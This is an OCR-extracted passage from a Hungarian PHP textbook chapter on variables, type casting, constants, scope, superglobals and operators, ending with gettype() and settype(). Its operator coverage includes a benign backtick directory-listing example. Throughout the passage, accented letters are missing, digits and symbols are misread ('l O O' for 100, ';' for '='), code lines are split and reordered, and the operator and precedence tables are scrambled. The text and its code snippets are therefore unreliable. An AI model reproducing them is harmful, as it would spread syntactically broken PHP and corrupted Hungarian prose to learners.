Mivel a O-t, azaz egsz szmot rendeltnk az $osszmennyiseg-hez, ez most egy integer tpus vltoz. A $vegosszeg pedig ugyanilyen logika miatt float tpus. Kicsit furcsnak tnhet, de akr a kvetkez sorral is folytathatnnk kdunkat:
$vegosszeg
=

'Hell';

A $vegosszeg vltoz ekkor string tpus lenne. A PHP a vltozban trolt rtk tpusa alapjn vltoztatja a vltoz tpust. A tpusok menetkzben, tlthat mdon trtn mdostsnak lehetsge igen hasznos. Ne feledjk, hogy a PHP varzs tsre rudja, hogy milyen adattpust trolrunk el a vltozkbal Amikor visszakeressk a vltozt, ugyanolyan adattpus adatot ad vissza.

Tpusknyszerts
Tpusknyszertssei (type casting) elrhetjk, hogy egy vltoz vagy rtk ms tpusknt viselkedjen. Ez a funkci ugyangy mkdik itt is, mint C-ben. Egyszeren zrjelben az talaktani kvnt vltoz el rjuk az ideiglenes tpust. Az elz rszben lv kt vlrozt talakrssal is deklarlhartuk volna:
$osszmennyiseg $vegosszeg
= =

0;

(float)$osszmennyiseg;

A msodik sor a kvetkezt jelenti: "Vedd az $osszmenn yiseg vltozban trolt rtket, rtelmezd float tpusknt, s trold el a $vegosszeg vltozban!" A $vegosszeg vltoz ezzel float rpus lesz. Az talakrand vltoz tpusa nem vltozik, gy az $osszmennyiseg integer tpus marad. Beptett fggvnnyel is ellenrizhetjk s bellthatjuk a vltozk tpust; ezekrl a fggvnyekrl a fejezet ksbbi rsz ben olvashatunk.

Vltoz vltozk
A PHP mg egy vlroztpust hasznl: a vltoz vltozt. A vltoz vltozk lehetv teszik a vltoznv dinamikus mdo stsr. Mint ltni fogjuk, a PHP elg nagy mozgsteret ad ezen a terleten. Minden nyelvben megvltoztathatjuk a vltozk rtkr, de csak nhny nyelv engedi a vltoztpus mdostst, s mg kevesebb nyelvben megengedett a vltoznv vl toztatsa. A vltoz vltoz gy mkdik, hogy egy vltoz rtkt hasznlja egy msik neveknr. Vegyk pldul az albbi rtkadst:
$valtozo_neve
=

'abroncs_db';

Ezt kveten az $abroncs_db helyert hasznlhatjuk a $$valto z o_neve-t is. Az $abroncs_ db rtkt pldul a kvet kezkppen is bellthatjuk:
$$valtozo_ne ve $abroncs_db
=

5;

Ez pontosan a kvetkezvel egyenrtk:


=

5;

Ez a megkzelts egyelre Icicsir megfoghatatlannak tnhet, de a ksbbiekben mg visszatrnk hasznlatra. Minden egyes rlapvltoz egyenknti lisrzsa s hasznlata helyett ciklussal s vltozval automatikusan feldolgozhatjuk ket. A feje zet ksbbi, a for ciklusokat bevezet rszben pldn keresztl fogjuk ezt bemutatni.

llandk deklarlsa s hasznlata


Ahogy korbban mr lttuk, knnyedn megvltoztathatjuk a vltozkban trolt rtket. Ugyanilyen egyszeren deklarlha runk llandkat (konstansokat). Az llandk ugyangy rtket rrolnak, mint a vltozk, m rtkket egyszer lltjuk be, s a kdban sehol mshol nem lehet azokat megvltoztatni. A mintaalkalmazsban llandknt lehet elmenteni pldul a forgalmazott termkek rt. A konstansokat a define fgg vnnyel hatrozharjuk meg:
define ( 'ABRONCS AR' , define ( 'OLAJAR', define ( 'GYERTYAAR' ,

l O O) ; 4) ;

10);

22

2. fejezet

Adjuk ezeket a sorokat kdunkhoz! gy van mr hrom llandnk, amit a vevi rendels vgsszegnek kiszmtsra fo gunk hasznlni.

Vegyk szre, hogy az llandk nevt nagybernvel rtuk! Ez a C-bl tvett szoks egyszeren, rnzsre megklnbztet hecv tes:d a vltozkat s az llandkat. Nem ktelez, mgis rdemes ragaszkodni ehhez, mivel knnyebben olvashatv s ttekinthetv teszi kdunkat. Az llandk s a vltozk kzte egy fontos klnbsg, hogy amikor llandra hivatkozunk, nem kell dollrjelet rakni el. Ha szksgnk van az lland rtkre, csak a nevt kell hasznlnunk. Ha pldul az imnt ltrehozott konstansok kzl az elst szeremnk hasznlni, a kvetkezket gpelnnk be: echo
ABRONCSAR;

A PHP az ltalunk meghatrozott llandkan kvl szmtalan sajt (beptett) llandval rendelkezik. Ezeket a legegysze rbben gy tekinthetjk t, ha lefuttatjuk a phpinfo ( ) fggvnyt: phpinfo(); A fggvny -sok ms hasznos informci mellett -a PHP elre definilt vltozinak s llandinak listjt adja vissza. Ahogy haladunk a knyvben, nmelyikkel mi magunk is tallkozni fogunk. A vltozk s llandk kztti msik klnbsg, hogy az utbbiak csak boolean, integer, float s string pus adatokat trol hamak. Ezeket az adattpusokat egyttesen skalris rtkeknek nevezzk.

Vltozk hatkre
A hatkr (scope) kifejezs a kd azon terleteire utal, ahol az adott vltoz elrhet. A PHP-nek a hatkrre vonatkoz, hat alapvet szablya a kvetkez: A beptett szupergloblis vltozk a kdon bell brhol elrhetk. Deklarlsuk utn az llandk globlisan elrhetk; ez azt jelenti, hogy a fggvnyeken bell s kvl is hasznlhatk. (De fggvnyen bell csak akkor rhet el az adott globlis vltoz, ha a global kulcsszval deklarljuk azt.) A kdban deklarlt globlis vltozk a kdban brhol elrhetk, csak a fggvnyeken bell nem. A globlisknt deklarlt fggvnyekben lv vltozk az ugyanolyan nev globlis vltozkra hivatkoznak. A fggvnyekben bevezetett s static kulcsszval deklarlt vltozk a fggvnyeken kvlrl nem rhetk el, m a fggvny kt meghvsa kzte megrzik rtkket. (Az 5. fejezetben rszletesebben elmagyarzzuk ezt a mkdst.) A fggvnyekben bevezetett vltozk az adott fggvnyre nzve helyiek, s a fggvny vgn megsznnek ltezni. A $_GET s a$_POST tmb, illetve nhny klnleges vltoz egyni hatkrszablyokkal rendelkezik. Ezek szupergloblis vagy autogloblis vltozk, amelyek rnindenhol, fggvnyeken bell s kvl is lthatk. A szupergloblis vltozk teljes listja a kvetkez:
$GLOBALS

-az sszes globlis vltozt tartalmaz tmb (a global kulcsszhoz hasonlan ez is lehetv teszi a glo

blis vltozkhoz val, fggvnyen belli hozzfrst-pldul gy: $GLOBALS [ 'sa j a t_val toz o'
$_SE RVER

l)

-a kiszolgl ltal elrhetv tett vltozk tmbje


POST

$_GET $_POST

-a kdnak GET metdussal tadoct vltozk tmbje -a kdnak metdussal tadoct vltozk tmbje -bngszstik vltozinak tmbje -fjlfeltltsekhez kapcsold vltozk tmbje -az sszes felhasznli bevitele, kztk a$_GET,$_POST s$_COOKIE vltozkat magban foglal munkamenet (session) -vltozk tmbje

$_COOKIE $_FILES $_ENV

-a krnyezeti vltozkat tartalmaz tmb

$_ REQUEST

beviteli tartalmat tartalmaz tmb (amely a PHP 4.3.0 verzija ta a$_F I LES vltozkat nem tartalmazza)
$_ SESSION-

A knyvben mg tbbszr visszatrnk ezekhez a szupergloblis vltozkhoz, akkor s ott, amikor relevnss vlnak. A ha tkrt rszletesebben is megtrgyaljuk a fejezet egy ksbbi, a fggvnyeket s osztlyokat bemutat rszben. Egyelre rnin den vltoz, amit hasznlunk, alaprtelmezsben globlis lesz.

Mveleti jelek hasznlata


A mveleti jelek, ms nven opertorok olyan szimblumok, amelyekkel rtkeket s vltozkat kezel nk, rajtuk mveletet vgrehajtva. A vevi rendels vgsszegnek s adtartalmnak kiszmtshoz egyes mveleti jelek hasznlatra lesz szk sgnk. Kt mveleti jel kerlt eddig szba, az rtkad ( = ) s a karakterlnc-sszefz ( . ) opertor. A kvetkez rszekben a m veleti jelek celjes listjt ttekintjk.

PHP gyorstalpal

23

A mveleti jelek ltalnossgban egy, kett vagy hrom paramtert hasznlnak, tbbsgk azonban kettt. Az rtkad mveleti jel is kt paramterrel mkdik: az =jel bal oldaln trolsi helyet, jobboldalt pedig egy kifejezst tallunk. Ezeket a paramtereket tnyezknek (mveletrtknek vagy operandusnak) hvjuk.

Aritmetikai mveleti jelek


Az aritmetikai opertorok magtl rtetdek, hiszen ezek a jl ismert matematikai mveleti jelek. A PHP aritmetikai mve leri jeleit az 1.1. tblzat tartalmazza.
1.1 tblzat: A PHP aritmetikai mveleti jelei

Mveleti jel
+

Neve
sszeads Kivons Szorzs Oszts Maradkkpzs

Plda
$a + $b $a - $b $a $a $a
*

$b

l
%

l $b
% $b

Ezekkel az opertorokkal mveletek eredmnyt trolhatjuk el, mint az albbi pldban: $eredmeny
=

$a + $b;

Az sszeads s a kivons a vrt mdon mkdik. Ennek a kr mveleri jelnek az eredmnye az $a s $b vltozban eit rolt rtk sszeadsa, illetve kivonsa. A kivons szimblumt (-) egyoperandus mveleti jelknt is hasznlhatjuk, ekkor a negatv szmokar jelli, mint az albbi pldban: $a
=

-1;

A szorzs s az oszts is nagyrszt gy mkdik , ahogy gondolnnk. Figyeljk meg, hogy a matematikban megszokott szorzsjel helyett csillagot hasznlunk szorzsmveleti jelknt, osztsjel helyett pedig perjelet! A maradkkpzs (modulus) mveleri jel az $a vltoz $b vltozval trtn osztsakor kapott maradkot adja vissza. Gondoljuk vgig a kvetkez kdrszletet: $a $b
=

27; 10;
=

$eredmeny

$a%$b;

Az $eredmeny vltozban eltrolt rtk a 27 tzzel val oszrsakor kapott maradk- vagyis 7. Fontos megjegyezni, hogy az aritmetikai mveleti jeleket ltalban egsz vagy lebegpontos szmokra alkalmazzuk. Ha pldul string rpus adatra alkalmazzuk ket, akkor a PHP megksrli a karakterlncot szmm alaktani. Ha e vagy E bett tartalmaz, tudomnyos jellsknt rtelmezi, s float rpus, azaz lebegpontos szmm alaktja azt, msklnben egsz szmm. A PHP szmjegyet keres a karakterlnc elejn, s rtknek tekinti azt; ha nincsen szmjegy, a karakterlnc rtke nulla lesz.

Karakterlncokon alkalmazhat mveleti jelek


A karakterlncokon hasznlhat egyetlen mveleti jellel mr tallkoztunk s dolgoztunk is. A karakterlnc-sszefz m veleti jelet az sszeads opertorhoz hasonlan hasznlva sszeadhatunk kt karakterlncot, illetve elmenthetjk ennek eredmnyt:
$a
=

"Bob

";

$b

"auta1katrszek";
=

$eredmeny

$a.$b;

Az $eredmeny vltoz ekkor a "Bob autalkatrszek" karakterlncot tartalmazza.

rtkad mveleti jelek


Az alapvet rtkad mveleti jellel ( = ) mr tallkoztunk. Mindig rtkad mveleti jelknt tekintsnk r, s a kvetkezkp pen olvassuk: ..-ra van lltva"! Pldul:
$osszmennyiseg
=

0;

24

2. fejezer

Ezr a sort gy kell olvasni, hogy ..az $oss zmenn y i seg vltoz nullra van llrva:' Ennek okr a fejezet egy ksbbi, az ssze hasonlr mveleti jeleket trgyal rszben fogjuk megvilgrani, m ha egyenlnek olvassuk, elbb-utbb sszezavarodunk.

rtkads ltal visszaadott rtkek


Az rtkad mveleri jel a tbbi opertorhoz hasonlan egy rtket ad vissza. Ha azt rjuk, hogy $a + $b akkor ennek a kifejezsnek az rtke az $a s a $b vltoz sszeadsnak az eredmnye. Hasonlkppen azt is rharjuk, hogy
$a ; 0;

Ennek a reljes kifejezsnek az rtke nulla. Ez a mdszer lehetv teszi az albbihoz hasonl kifejezsek hasznlatr: $b ; 6 + ($a ; 5); Ez a sor ll-re llrja a $b vltoz rtkr. Az ilyen viselkeds ltalnossgban igaz az rtkadsra: a teljes rtkadsi utasts rtke a bal oldalon lev tnyezhz rendelt rtk. Amikor egy kifejezs rtkt szmtjuk ki, zrjeleket hasznlva szablyozharjuk a mveletek sorrencljt, ahogy a fenti pl dban is tettk. Ez pontosan gy mkdik, rnint a matematikban.

sszetett rtkad mveleti jelek


Az egyszer rtkad mveleri jelen tlmenen sszetett rtkad opertorok is alkalmazhatk. Ezek rnindegyike azt rvidti le, hogy valamilyen mveletet hajrunk vgre a vltozn, majd a mveler eredmnyt rendeljk a vlrozhoz. Nzzk a kvetke z pldt:
Sa +; 5;

Ez azzal egyenrtk, mintha ezt rtuk volna: + 5; Az sszetett rtkad mveleti jelek az aritmetikai opertorokhoz, illerve a karakterlnc-sszefz mveleti jelhez alkalmaz hatk. Az ilyen sszetett rtkad opertorokat s hasznlatuk eredmnyt foglalja ssze az 1.2 tblzat.
Sa ; Sa 1.2

tblzat: A

PHP

sszetett rtkad mveleti jelei Hasznlata


$a $a Sa

Mveleti jel
+;
*;

Mivel egyenl
$a Sa $a Sa $a $a $a $a $a

+;

$b $b $b

$b Sb Sb

*;

l; %;

$a l; $b $a %; Sb $a $b

$a l $b $a % $b $a $b

Elzetes s utlagos nvels s cskkents


Az elzetes s utlagos nvels (++ ) s cskkents ( ) mveleti jel a+; s-; sszetett rtkad opertorhoz hasonl, n -hny klnbsg azonban megfigyelhet kzttk. Minden nvels mveleti jelnek ketts hatsa van: rtknvels s rtkads. Gondoljuk t a kvetkezket:
$a;4; echo ++Sa;

A msodik sor az elzetes nvels (pre-increment) mveleti jelet hasznlja, amit azrt hvnak gy, mert a++ az $a vltoz eltt jelenik meg. Az opertor eredmnye az Sa rtknek nvelse eggyel, illerve a megnvelt rtk visszaadsa. Jelen esetben az $a rtke 5-re n, majd az opertor visszaadja az rtkr, s az utasts megjelenti azt. A teljes kifejezs rtke 5. (Vegyk szre, hogy az $a vltozban trolt rtk tnylegesen megvlrozott: nem egyszeren Sa + l-et ad vissza!) Ha azonban a++ az $a utn helyezkedik el, akkor utlagos nvels (post-increment) mveleti jelet hasznlunk, arninek ms a hatsa. Vizsgljuk meg a kvetkez kdrszlerer:
$a;4; echo $a++;

PHP gyorstalpal

25

Itt a mveleti jel hatsa fordtott. Az echo utasts elszr visszaadja s megjelenti az $a rtkr,majd megnveli azt. Ennek a teljes kifejezsnek az rtke 4. Ezt az rtket fogja megjelenteni. Az urasrs vgrehajtsa utn azonban 5 lesz az $a rtke. Jl gondoljuk,a-ben
az

mveleri jel hasonlan mkdik. Hasznlata azonban nem nveli,hanem cskkenti a vltoz, jelen eser

$a rtkr.

Hivatkozsi mveleti jel


A hivatkozsi mveleri jelet ( & ,s" jel) az rtkadssal egyttesen hasznlhatjuk.Amikor alapesetben valamely vltozt egy -. msikhoz rendelnk, az els vltoz msolata jn ltre s troldik el a memria ms helyn. Vegyk pldul a kvetkez kd rszletet: $a
=

5;

$b = $a; Ezek a sorok ltrehozzk az $a vltoz rtknek msodik msolatt,s eltroljk a $b vltozban.Ha ezt kveten meg vltoztatjuk az $a rtkr, a $b vltoz nem vltozik:
$a = 7; // a $b rtke tovbbra is 5 lesz

A msolat ksztst hivatkozsi mveleti jel hasznlatval kerlhetjk el.Pldul:


$a = 5;

$b = &$a; $a= 7; // az $a s a $b rtke is 7 lesz A hivatkozsok kicsit trkks dolgok.Ne feleelj k,hogy a hivatkozs inkbb alias, mintsem mutat! Az $a s a $b ugyan arra a memriahelyre mutat.A hivatkozsi mveleti jel hatst a kvetkezkppen oldhatjuk fel:
unset ($a);

A felolds nem vltoztatja meg a $b rtkt (7), hanem megsznteti az $a s a memriban ttolt 7-es rtk kztti kapcsolatot.

sszehasonlt mveleti jelek


Az sszehasonlt mveleti jelek kt rtket hasonltanak ssze.Az ilyen mveleti jeleket hasznl kifejezsek az sszehasonl ts eredmnytl fgg logikai rtket adnak vissza ( true vagy false, azaz igaz vagy hamis).

Az egyenl mvelet jel


Az egyenl sszehasonlt mveleti jel ( ==-kt egyenlsgjel) segtsgvel kt rtk egyenlsgt llapthatjuk meg.A kvet kez kifejezssel: $a== $b azt ellenrizhetjk, hogy az $a s a $b vltozban trolt rtkek megegyeznek-e.A kifejezs ltal visszaadott rtk egyenl sg esetn true (igaz), ellenkez esetben false (hamis). Az== opertort knny sszekeverni az rtkads mveleti jelvel (=).Ha rossz opertort vlasztunk, a kd hiba nlkl lefut ugyan, m minden bizonnyal nem kvnt eredmnyhez vezet. A nem nulla rtkek ltalnossgban igazknt,a nullk ha misknt rtkeldnek ki.Tegyk fel,hogy a kvetkez rtkeket adtuk az albbi kt vltoznak: $a = 5; $b = 7; Ha ezt kveten tesztelnnk az $a = $b kifejezst, az eredmny true lenne.Hogy mirt? Az $a = $b rtke a bal ol dalhoz rendelt rtk, ami jelen esetben

7. Mivel a 7 nem nulla,a kifejezs igazknt rtkeldik ki.Ha az $a ==

$b kifejezst

szerertk volna tesztelni, ami egybknt hamis, akkor rendkvl nehezen megtallhat logikai hibt vtettnk volna a progra mozsban.Mindig ellenrizzk e kt mveleti jel hasznlatr, illetve azt, hogy a megfelel opertort vlasztottuk-e! Knnyen elkvethet hiba,hogy az rtkad mveleti jel helyett egyenlsg sszehasonltst hasznlunk, amit minden bi zonnyal sokszor megtehetnk programozi plyafutsunk sorn.

Tovbbi sszehasonlt mveleti jelek


A PHP szmos egyb sszehasonlt mveleti jelet tmogat.A tmogatott opertorok sszefoglalst az 1.3 tblzatban tall

juk. Felhvjuk a figyelmet az azonos mveleti jelre (=== ),amely akkor ad vissza true rtket, ha a kt tnyez rtke s tpusa is megegyezik.Ha pldul az egyik nulla integer,a msik pedig string tpus,akkor a 0==0 igaz lesz,a 0===0 viszont hamis.

26

2. fejezet

1.3 tblzat: A PHP sszehasonlt mveleti jelei

Mveleti jel

Nv Egyenl Azonos

Hasznlat $b $a
--

$a

---

$b

!=
!== <> < > <= >=

Nem egyenl Nem azonos Nem egyenl (sszehasonlt mveleti jel) Kisebb, mint Nagyobb, mint (sszehasonlt mveleti jel) Kisebb vagy egyenl Nagyobb vagy egyenl

$a != $b $a !== $b $a <> $b $a < $b $a > $b $a <= $b $a >= $b

Logikai mveleti jelek


A logikai opertorok logikai felttelek eredmnyeit vonjk ssze. Ha pldul azt szerernnk megllaptani, hogy az $a vltoz rtke O s 100 kz esik-e, akkor kt felttel teljeslst kell megllaptanunk ($a >= O s $a <= l 00} az S mveleti jel hasznlatval:

$a >= O

&&

Sa <=100

A PHP a logikai S,VAGY, KIZR VAGY sNEM mveleti jelet tmogatja. Ezeket, illetve hasznlatukat az 1.4 tbl zat foglalja ssze.
1.4 tblzat: A PHP logikai mveleti jelei

Mveleti jel
&&

Nv NEM

Hasznlat !$b $a
&&

Eredmny
Igaz, ha $b hamis Igaz, ha $a s $b is igaz; msklnben hamis Igaz, ha $a vagy $b vagy mindkett true; msklnben hamis Ugyanaz, mint az & &, de a mveletsorrendben htrbb van Ugyanaz, mint a l l, de a mveletsorrendben htrbb van Igaz, ha $a vagy $b igaz, de ha mindkett igaz vagy hamis, akkor hamis lesz az rtke opertor mgtt helyezkedik el. A kirtkdsi sor

S
VAGY

$b

ll

Sa ll $b $a and $b $a $a
or x

and
or x or

S
VAGY KIZR VAGY

$b
or

$b

Az and s az

or

mveleti jel a kirtkdsi sorrendben az && s 1 1

rendrl a fejezet ksbbi rszben olvashatunk.

Bitmveleti jelek
A bitmveleti jelek (bitwise operator) lehetv teszik, hogy az egsz szmokat az ket alkot bitek sorozataknt kezeljk.Nem valszn, hogy PHP-ban tl sokat hasznlnnk ezeket a bitmveleti jeleket, mindazonltal az 1.5 tblzat sszefoglalja ket.
1.5 tblzat: A PHP bitmveleti jelei

Mveleti jel
&

Nv
Bit S BitVAGY BitNEM

Hasznlat $a & $b $a -Sa $b

Eredmny
Ott lesz 'l' az eredmnyben, ahol $a s $b mindegyikben az a bit '1'-es. Minden ms biten 'O'. Ott lesz T az eredmnyben, ahol $a s $b kzl legalbb az egyik azon bige '1'-es. Minden ms biten 'O'.

$a sszes bitjt invertlja.

PHP gyorstalpal

27

Mveleti jel

Nv Bit

Has:z;nlat
$a
A

Eredmny
Ott les:z; 'l' a:t eredmnyben, ahol $a s $b kzl csakis pontosan
az

KIZR VAGY

$b

egyikben 'l' llt. Minden ms biten 'O'.

<<

Biteltols balra Biteltols jobbra

$a << $b

$a

bitjeit $b szm bittel balra tolja(minden bitnyi elto bitjeit $b s:z;m bittel jobbra tolja(minden bitnyi elto

ls 2-vel val s:torzst jelent).


>> $a >> $b $a

ls 2-vel val egsz osztst jelent)

Egyb mveleti jelek


Az eddig bemutatott mveleti jelek mellett tovbbiakat is alkalma:z:harunk. A vessz mveleti jel(,) fggvnyparamtereket s ms listaelemeket vlaszt el. A lapesetben magtl rtetden hasznljuk. Ltezik kt klnleges mveleti jel, a new s a ->, amit osztly, illetve hozzfrsi osztly tagjainak rtkadsra haszn lunk. Ezeket a 6. fejezetben rszletesebben meg fogjuk vizsglni. A kvetkezkben rviden bemutatunk mg nhny mveleti jelet.

hromoperandus mveleti jel


ha igaz : rtk, ha hamis

A hromoperandus(ternary) mveleti jel? : ) a kvetkez formban mkdik: (


felttel? rtk,

Ez az opertor a:t if-else utasts kifejezses megfelelje, amellyel a fejezet ksbbi rszben foglalkozunk. Egyszer plda a hasznlatra:
($vizsgaeredmeny >= 50? 'Atment' : 'Megbukott')

A fenti kifejezs a hallgatk vizsgaeredmnyt minsti tment vagy megbukott kategria szerint.

hibakezel mveleti jel

A hibakezel mveleti jelet ( @) rtket elllt vagy rtkkel rendelkez kifejezsek eltt hasznlhacjuk Nzzk a:t albbi pldt:
$a = @(57/0);

Az@ opertor nlkl ez a sor nullval trtn osztshibt jelezne. A mveleti jel hasznlata figyelmen kivl hagyja(elnyomja) a hibt.

Amikor ilyen mdszerrel figyelmen kvl hagyjuk a figyelmeztetseket, hibakezel kdot kell rnunk, amely ellenrzi, hogy egyltaln mikor kvetkeznek be a figyelmeztetsek. A mennyiben a PHP php. ini fjljban bekapcsoljuk a track_errars belltst, a $php_errormsg globlis vltozha kerlnek a hibazenetek

vgrehajt mveleti jel

A vgrehajt opertor iga:z:bl egy pr fordtott idzjel(' '). Ez nem egyszeres idzjel; ltalban a tilde( megegyez billentyn tallhat a klaviarrn(magyar billentyzet esetn pedig a 7 -es billentyn).

) karakterrel

A PHP a fordtott idzjelek kztti szveget parancsknt prblja meg vgrehajtani a kiszolgl parancssorban. A kifeje zs ttke a parancs eredmnye lesz. Pldul Unix-szer opercis rendszerek esetn hasznlhatjuk a:t albbi kdot:
$out = 'ls -la'; echo '<pre>'.$out. '</pre>';

Windowsos kiszolgl esetn a fenti megfelelje:

$out
echo

'dir c: ';

'<pre>' .$out. '</pre>';

Mindkt kd fogja a knyvtrak listjt s elmenti az $out vltozban. Ezt kveten megjelenthetjk a:tt bngszben, de mskppen is dolgozharunk vele. Ms mdszerek is lteznek arra, hogy parancsokat hajtsunk vgre a kiszolgln. A 19. fejezetben (Afjlrendszer s
a

kiszolg

l elrse) fogjuk ttekinteni ezeket.

28

2. fejezet

Tmbmveleti jelek
Tbbfle tmbmveleti jel ltezik. A tmbelem-opertorokkal ( [ J ) a tmbelemeket rhetjk el. Bizonyos tmbk esetn a =>

mveleti jelet is hasznlhatjuk. Ezekkel az opertorokkal a 3. fejezerben ismerkednk majd meg. Tovbbi tmbmveleti jelek is hasznlhark. Ezeket is rszletesen megtrgyaljuk a 3. fejezetben, m a teljessg kedvrt az
1.6 tblzatban is szerepeltetjk ket. 1.6 tblzat: A PHP

tmbmveleti jelei

Mveleti jel +

Nv Uni Egyenl Azonos

$a

Hasznlat + $b $a -- $b $a --- $b
$a != $b $a <> $b $a !== $b

Eredmny Az $a s $b tmb minden elemr tartalmaz tmbt ad vissza Akkor igaz, ha az $a s $b tmb elemei kalcsonknt megegyezk Akkor igaz, ha az $a s $b tmb elemei s azok sorrendje megegyezik Akkor igaz, ha $a s $b nem egyenl Akkor igaz, ha $a s $b nem egyenl Akkor igaz, ha $a s $b nem azonos

!= <> !==

Nem egyenl Nem egyenl Nem azonos

Ltni fogjuk, hogy az 1.6 tblzatban szerepl tmbmveleti jeleknek ltezik skalris vltozkon alkalmazhat megfeleljk. Amennyiben megjegyezzk, hogy a

+ sszeadst jelent skalris vltozk s unitmbk esetn, akkor analgit tallhatunk

a kett kztt - noha a mveleti jel matematikai rtelemben eltr en mkdik a kt esetben. A tmbket s a skalris tpuso kat nem lehet egymssal rtelmesen sszehasonltani.

Tpusmveleti jel
Egyetlen tpusmveleti jel ltezik: instanceof. Objektumorientlt programozsban hasznljuk, itt csak a teljessg kedvrt emltjk. (Az objektumorientlt programozssal a 6. fejezetben foglalkozunk.)
Az instanceof mveleti jellel kiderthetjk, hogy egy objektum egy adott osztly pldnya-e, pldul:
class mintaOsztaly{}; $sajat_Objektum = new mintaOsztaly(); if ($sajat_Objektum instanceof mintaOsztaly) echo "a sajat_Objektum a mintaOsztly pldnya";

Az rlap vgsszegnek kiszmtsa


Most, hogy megismertk a PHP mveleti jeleinek a hasznlatr, kszen llunk arra, hogy kiszmtsuk Bob megrendelsi r lapjn a vgsszeget s az adtartalmat. rjuk be ehhez PHP kdunk aljra a kvetkezket:
$osszmennyiseg = 0; $osszmenny1seg = $abroncs db echo "Rendelt termkek szma: $vegosszeg = 0.00;

$olaJ_db

$gyertya_db;

".$osszmennyiseg."<br l>";

define( 'ABRONCSAR' define('OLAJ AR',

l 00) ;

10) ;
ABRONCSAR OLAJAR
*

define( 'GYERTYAAR', 4) ; $vegosszeg = $abroncs_db


+
*

$olaj_db

$gyertya_db

GYERTYAAR;

echo "Rszsszeg: $adokulcs = 0.10; $vegosszeg


=

$".number_format($vegosszeg,2)."<br l>"; ll a helyi forgalmi ad

10%

$vegosszeg

* (l +

$adokulcs);

echo "Vgsszeg fval:

$".number_format($vegosszeg,2) ."<br l>";

Ha frisstjk a bngszablakban az oldalt, az 1.5 brn lthathoz hasonl kimenetet kell kapnunk. Lthatjuk, hogy a kdrsz szmos mveleti jelet tartalmaz. Az sszeads (+) s szorzs

( ) opertorok segitsgvel szmol


*

juk ki a vgsszeget, az sszefzs mveleti jelet (. ) pedig a bngsznek kldtt kimenet bellrshoz hasznljuk.

PHP gyorstalpal

29

Bob autalkatrszek
Rendelsi eredmnyek Rmddkid6pga!JI'.IIT.34.1-41h R.eodetSDiom.l2 $:264.00 VFA-Ylll:$29040

1.5 bra: A

vevi megrendels vgsszegt kiszmoltuk, formztuk s megjelen tettk.

A kd a number_ forrnat () fggvnnyel formzza a vgsszeget kt tizedesjegyet tartalmaz karakterlncc. Ez a fgg vny a PHP Math knyvtrbl szrmazik. Ha jobban megvizsgljuk a szntsokat, felmerlhet a krds, hogy mirt ebben a sorrendben hajtjuk vgre azokat. Vizs gljuk meg pldul a kvetkez utastst:
$vegosszeg = $abroncs_db * ABRONCSAR + $olaj db
*

OLAJAR
*

+ $gyertya db

GYERTYAAR;

A vgsszeg helyesnek tnik, de mirt az sszeadsok eltt vgeztk el a szorzsokat? A vlasz a mveletek elsbbsgben vagyis kittkelsk sorrendjben - rejlik.

Mveletek elsbbsgi sorrendje s a csoportosthatsg


A mveleti jeleknek (azaz a mveleteknek) ltezik egy ltalnos elsbbsgi sorrendje, amely szerint kirtkelsk trtnik. A m veleti jelek csoportosthatk ( asszociatvek) is lehemek, ami azt hatrozza meg, hogy az ugyanolyan elsbbsg opertorok kirt kelse milyen sorrendben trtnik. Ez a sorrend ltalban balrl jobbra (rviden bal),jobbrl balra (rviden sbbsgi sorrenddel rendelkez mveleti jelek tallhatk fell, lefele haladva n az elsbbsgk.
l. 7 tblzat:

jobb) vagy irrelevns.

Az 1.7 bra a mveletek PHP-beli elsbbsgi sorrencljt s csoportosthatsgt mutatja. A tblzatban a legalacsonyabb el

Mveleti jelek elsbbsgi sorrendje PHP-ben


Mveleti jelek or xor and print = += -= *= /= ? ll
&&

Csoportosthatsg

bal bal bal bal jobb bal bal bal bal bal bal bal nem rtelmezhet nem rtelmezhet bal bal bal jobb jobb nem rtelmezhet nem rtelmezhet
< << + &

%= &=

l= A= -=

<<=

>>=

!= ===
<= > >=

!==

>>

* l ! [] new ()
-

% ++
--

(int)

(double)

(string)

(array)

(object)

30

2. fejezet

Vigyzat, mg nem beszltnk a sorrendben legels mveleti jelrl, a j reg zrjelrl! A zrjel hasznlata megnveli az ltala kzrefogott tartalom elsbbsgi sorrendjt.Ezzel szksg esetn tudatosan kezelhetjk s alakthatjuk az elsbbsgi

szablyokat. Emlkezznk vissza az elbbi plda kvetkez rszre:


$vegosszeg
=

$vegosszeg

(l +

$adokulcs);

Ha ehelyett azt tjuk, hogy:


$vegosszeg
=

$vegosszeg

* l +

$adokulcs;

akkor az sszeadshoz kpest magasabb elsbbsgi szint szorzs mvelet lesz elszr vgrehajtva, ami helytelen eredmnyhez vezet. A zrjelek hasznlatval kiknyszerthet, hogy elszr az

l +

$adokulcs kifejezs legyen kirtkelve.

A kifejezsekben tetszleges szm zrjelprt hasznlhatunk. A PHP elszr a legbels prban lv kifejezst rtkeli ki. Figyeljk meg, hogy a tblzatban szerepl egyik opertorral mg nem foglalkoztunk! Ez nem ms, mint az- echo-val egyenrtk- print nyelvi alkotelem, amely kimenetet generl. Knyvnkben ltalban az echo-t hasznljuk, de ha a Kedves Olvas a pr int-et szimpatikusabbnak tallja, nyugodtan vlassza azt! Sem az elbbi, sem az utbbi nem igazn fggvny, ennek ellenre tekinthetjk ket a zrjelben paramtert tar talmaz fggvnynek is. Mindkett kezelhet mveleti jelknt: a hasznlni kivnt szveget egyszeren az echo vagy a print kulcssz mg rjuk. A print azrt tekinthet fggvnynek, mert rtket (l) ad vissza.Ez hasznos lehet, amikor sszetettebb kifejezsen bell kvnunk kimenetet generlni, de az echo-nl rnyalatnyival lassabb teszi.

Vltozkhoz kapcsold fggvnyek


Mieltt elhagynnk a vltozk s mveleti jelek vilgt, vessnk egy pillantst a PHP vltozkkal kapcsolatos fggvnyeirel A PHP egyik fggvnyknyvtra a vltozk klnbz mdon trtn kezelst s ellenrzst lehetv tev fggvnyeket knl.

Vltozk tpusnak ellenrzse s belltsa


A vltozkhoz kapcsold fggvnyek legtbbje a vltoz tpusnak ellenrzshez ktdik. A kt legltalnosabb fggvny a gettype () s a settype ().Ezek prototpusa-vagyis az, hogy rnilyen paramtert vrnak, s mit adnak vissza-a kvet kez:
string gettype(mixed valtozo); bool settype(mixed valtozo, string tipus);

A gettype( ) hasznlathoz rnindenkppen t kell adnunk vltozt. A fggvny meghatrozza annak tpust, majd a t pusnevet tartalmaz szveget ad vissza, ami bool, int, double (float tpusok), string,array,obj ect,resource vagy
NULL lehet. Amennyiben a vltoz tpusa nem szabvnyos, a fggvny az unknown type szveget adja vissza.
